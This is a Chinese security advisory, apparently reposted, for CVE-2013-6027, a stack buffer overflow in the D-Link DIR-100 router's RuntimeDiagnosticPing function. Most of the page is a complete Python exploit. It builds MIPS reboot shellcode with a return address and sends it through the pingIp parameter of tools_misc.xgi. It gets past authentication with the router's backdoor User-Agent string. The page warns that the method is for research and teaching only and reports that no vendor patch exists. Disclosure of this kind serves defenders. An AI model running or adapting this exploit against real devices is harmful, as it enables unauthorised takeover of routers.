D-Link DIR-100 'RuntimeDiagnosticPing()'栈缓冲区溢出漏洞

文章由LinuxBoy分享于2019-04-02 03:04:32热评（512）

D-Link DIR-100 'RuntimeDiagnosticPing()'栈缓冲区溢出漏洞

发布日期：2013-10-14
更新日期：2013-10-22

受影响系统：
D-Link DIR-100
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 63234
CVE(CAN) ID: CVE-2013-6027

D-Link DIR-100是集成了防火墙功能的小型宽带路由器。

D-Link DIR-100路由器上/bin/webs内的RuntimeDiagnosticPing函数存在缓冲区溢出漏洞，经过身份验证的远程管理员通过向Tools/tools_misc.xgi发送较长的set/runtime/diagnostic/pingIp参数，利用此漏洞可执行任意命令。

<*来源：Craig Heffner
*>

测试方法：
--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

import sys
import urllib2

try:
url = 'http://%s/Tools/tools_misc.xgi?domain=a&set/runtime/diagnostic/pingIp=' % sys.argv[1]
except Exception, e:
print str(e)
print 'Usage: %s <target ip>' % sys.argv[0]
sys.exit(1)

# This is the actual payload; here it is a simple reboot shellcode.
# This payload size is limited to about 200 bytes, otherwise you'll crash elsewhere in /bin/webs.
payload = "\x3c\x06\x43\x21" # lui a2,0x4321
payload += "\x34\xc6\xfe\xdc" # ori a2,a2,0xfedc
payload += "\x3c\x05\x28\x12" # lui a1,0x2812
payload += "\x34\xa5\x19\x69" # ori a1,a1,0x1969
payload += "\x3c\x04\xfe\xe1" # lui a0,0xfee1
payload += "\x34\x84\xde\xad" # ori a0,a0,0xdead
payload += "\x24\x02\x0f\xf8" # li v0,4088
payload += "\x01\x01\x01\x0c" # syscall 0x40404

# The payload is split up; some of it before the return address on the stack, some after.
# This little snippet skips over the return address during execution.
# It assumes that your shellcode will not be using the $fp or $t9 registers.
move_sp_fp = "\x03\xa0\xf0\x21" # move $fp, $sp
jump_code = "\x27\xd9\x02\xd4" # addiu $t9, $fp, 724
jump_code += "\x03\x21\xf8\x08" # jr $t9
jump_code += "\x27\xE0\xFE\xFE" # addiu $zero, $ra, -0x102

# Stitch together the payload chunk(s) and jump_code snippet
shellcode_p1 = move_sp_fp + payload[0:68] + jump_code + "DD"
if len(shellcode_p1) < 86:
shellcode_p1 += "D" * (86 - len(shellcode_p1))
shellcode_p2 = ""
else:
shellcode_p2 = "DD" + payload[68:]

# Build the overflow buffer, with the return address and shellcode
# libc.so base address and ROP gadget offset for the DIR-100, revA, v1.13
# libc_base = 0x2aaee000
# ret_offset = 0x3243C
buf = shellcode_p1 + "\x2A\xB2\x04\x3C" + shellcode_p2

# Normally only admins can access the tools_misc.xgi page; use the backdoor user-agent to bypass authentication
req = urllib2.Request(url+buf, headers={'User-Agent' : 'xmlset_roodkcableoj28840ybtide'})
urllib2.urlopen(req)

建议：
--------------------------------------------------------------------------------
厂商补丁：

D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/

D-Link DIR-100 'RuntimeDiagnosticPing()'栈缓冲区溢出漏洞